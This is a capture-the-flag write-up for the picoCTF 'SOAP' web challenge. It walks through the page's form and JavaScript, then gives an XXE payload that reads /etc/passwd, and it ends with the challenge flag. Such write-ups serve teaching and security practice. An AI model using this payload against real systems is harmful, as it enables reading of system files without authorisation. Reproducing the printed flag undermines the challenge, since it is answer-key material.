SOAP
Overview
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
Author: Geoffrey Njogu
Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd
file?
Enumeration
Home page:
View source page:
<form class="detailForm" action="/data" method="POST">
<input required type="hidden" name="ID" value="1">
<button type="submit" class="btn btn-sm
btn-outline-secondary">Details</button>
</form>
[...]
<form class="detailForm" action="/data" method="POST">
<input required type="hidden" name="ID" value="2">
<button type="submit" class="btn btn-sm
btn-outline-secondary">Details</button>
</form>
[...]
<form class="detailForm" action="/data" method="POST">
<input required type="hidden" name="ID" value="3">
<button type="submit" class="btn btn-sm
btn-outline-secondary">Details</button>
</form>
[...]
<script src="/static/js/xmlDetailsCheckPayload.js"></script>
<script src="/static/js/detailsCheck.js"></script>
[...]
In here, we see there are 3 HTML forms. When the “Details” button is clicked, it’ll send a POST request to /data
with parameter ID
.
It also imported 2 JavaScript files.
/static/js/xmlDetailsCheckPayload.js
:
window.contentType = 'application/xml';
function payload(data) {
var xml = '<?xml version="1.0" encoding="UTF-8"?>';
xml += '<data>';
for(var pair of data.entries()) {
var key = pair[0];
var value = pair[1];
xml += '<' + key + '>' + value + '</' + key + '>';
}
xml += '</data>';
return xml;
}
In the above, the payload(data)
function is just constructing an XML data structure:
<?xml version="1.0" encoding="UTF-8"?>
<data>
<key>value</key>
</data>
/static/js/detailsCheck.js
:
document.querySelectorAll('.detailForm').forEach(item => {
item.addEventListener("submit", function(e) {
checkDetails(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
e.preventDefault();
});
});
function checkDetails(method, path, data) {
const retry = (tries) => tries == 0
? null
: fetch(
path,
{
method,
headers: { 'Content-Type': window.contentType },
body: payload(data)
}
)
.then(res => res.status == 200
? res.text().then(t => t)
: "Could not find the details. Better luck next time :("
)
.then(res => document.getElementById("detailsResult").innerHTML = res)
.catch(e => retry(tries - 1));
retry(3);
}
What this does is sending a POST request to /data
endpoint, with function payload(data)
’s output body.
Now, let’s click on those “Details” buttons!
Burp Suite HTTP history:
As you can see, we’re sending XML data.
Armed with above information, we can move onto the exploitation session.
Exploitation
In this challenge’s title, it’s SOAP.
SOAP XML is a messaging protocol specification for exchanging structured information in the implementation of web services in computer networks.
That being said, we can try to exploit XXE (XML External Entity) injection!
Now, we can send the POST /data
request to Burp Suite’s Repeater, and change the </ID>
key to anything:
As you can see, our invalid ID is reflected to the response!!
With that said, we can try to retrieve information by injecting arbitrary XML data!
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
<ID>&xxe;</ID>
</data>
What this payload does is we defined:
- The root element of the document is
root
(!DOCTYPE root
) - Then, inside that root element, we defined an external entity (variable) called
xxe
, which is using keywordSYSTEM
to fetch file/etc/passwd
- Finally, we want to use the
xxe
entity in<ID>
tag, so we can see the output of/etc/passwd
. To do so, we need to use&entity_name;
Let’s send our XXE payload:
Nice! We successfully exploited an XXE vulnerability, and retrieved /etc/passwd
content!!
Note: If you want to learn more about XXE, you could read my PortSwigger Labs writeups!
- Flag:
picoCTF{XML_3xtern@l_3nt1t1ty_6d333638}
Conclusion
What we’ve learned:
- XXE Injection